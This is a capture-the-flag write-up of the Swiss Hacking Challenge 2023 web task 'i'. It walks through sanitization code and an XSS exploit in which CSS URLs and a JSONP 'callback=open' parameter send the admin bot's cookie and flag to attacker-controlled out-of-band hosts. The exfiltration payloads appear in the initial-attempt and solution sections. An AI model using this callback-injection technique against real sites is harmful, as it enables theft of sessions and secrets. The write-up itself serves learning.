Swiss Hacking challenge 2023 - i - Web
Description
“i” is another web challenge. You are given a platform, to upload your CSS style, and share it with the admin. Sounds like XSS! ) You are also provided with source code
This time you can freely register a user. The source code indicates a bot, which opens the share link provided.
Initial attempt
Intially I got lucky early and found good XSS primitive within a few minutes, but afterwards started getting stuck.
body{
background-image: url(hxxp://myburpsuite-endpointxyz.oastify.com);
}
Css even allows to interpolate strings with ${variable}.
This was triggering out-of band requests from my browser, but not the bot. I could retrieve my own JWT with the string
background-image: url(hxxp://myburpsuite-endpointxyz.oastify.com/${document.cookie});
Code analysis
After digging into the code, I noted the constraints imposed by sanitization of URLs and CSS body in app.js
if request.method == "POST" and url:
if "&&" in url or ";" in url or "|" in url or "(" in url or "{" in url:
return "No free hats for you >:("
if url.startswith("/share?"):
subprocess.run(["node", "bot.js", url], shell=False)
safeview.js , which is the share page, has more restrictions. It didn’t seem like my initial payload would get caught, and the sanitizations were not performed recursively
function escape(data) {
var nopes = ["`", "+", "<", ">", "'", '"', "%"]
var x = data
nopes.forEach(noperino => {
x = x.replaceAll(noperino, '');
});
x = x.replaceAll(/script/ig, '');
x = x.replaceAll(/iframe/ig, '');
return x
}
the interesting bit
I noticed additional argument in the share URL - a callback.
var data = document.createElement('script');
src = '/get_style?share_id=' + shareId
if (callback) {
var src = '/get_style?share_id=' + shareId + "&callback=" + escape(callback)
}
Digging deeper into what kind of callback this is
callback = request.args.get('callback', 'updateStyle')
if share_id:
style = db.getStyleByShareId(share_id)
else:
user = db.getUserbyId(token["id"])
style = user["style"]
data = '{funcname}(`{data}`)'.format(
funcname=callback,
data=style,
)
The callback default argument is “updateStyle”, which calls the function. However, we can specify arbitrary callback function, and it will take the supplied data as input.
By putting “fetch()” call in the callback and testing it in the browser, I noted it failed to get body{background-image: url}
So I cleaned it up to contain only URL.
fetch
is gonna get blocked by CORS, so we need another javascript function that takes arbitrary URL as argument and makes a call.
After looking around for other XSS manuals, I found open()
.
solution
By including a simple URL as the CSS to send to admin, and triggering the callback, we can extract the flag
hxxps://eo8tkgldaXXXX.m.pipedream.net/${flag.value}
And send the share with the callback URL to the “admin” :
/share?share_id=0718b98ab524698450e410e2e60618&callback=open
Summary
The organizers did a great job at creating fun challenges. In the end I ranked 27/87 in the open category, and 56/178 in combined ranking, although I only invested myself mostly into web challenges, as I want to improve my code review skills. The long duration was generous, as there was also Insomnihack during the competition period.
PS: This was perhaps not the intended solution, which was CSS selectors. Other players have also discovered various bypasses. It never ceases to amaze me how different thought proccess and approaches are.